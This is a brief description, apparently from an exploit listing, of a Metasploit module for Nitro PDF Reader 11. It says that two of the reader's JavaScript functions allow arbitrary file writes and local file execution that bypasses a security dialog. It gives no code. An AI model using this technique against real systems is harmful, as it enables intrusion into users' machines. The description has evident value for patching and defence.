This Metasploit module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro PDF Reader version 11. The saveAs() Javascript API function allows for writing arbitrary files to the file system. Additionally, the launchURL() function allows an attacker to execute local files on the file system and bypass the security dialog Note: This is 100% reliable.
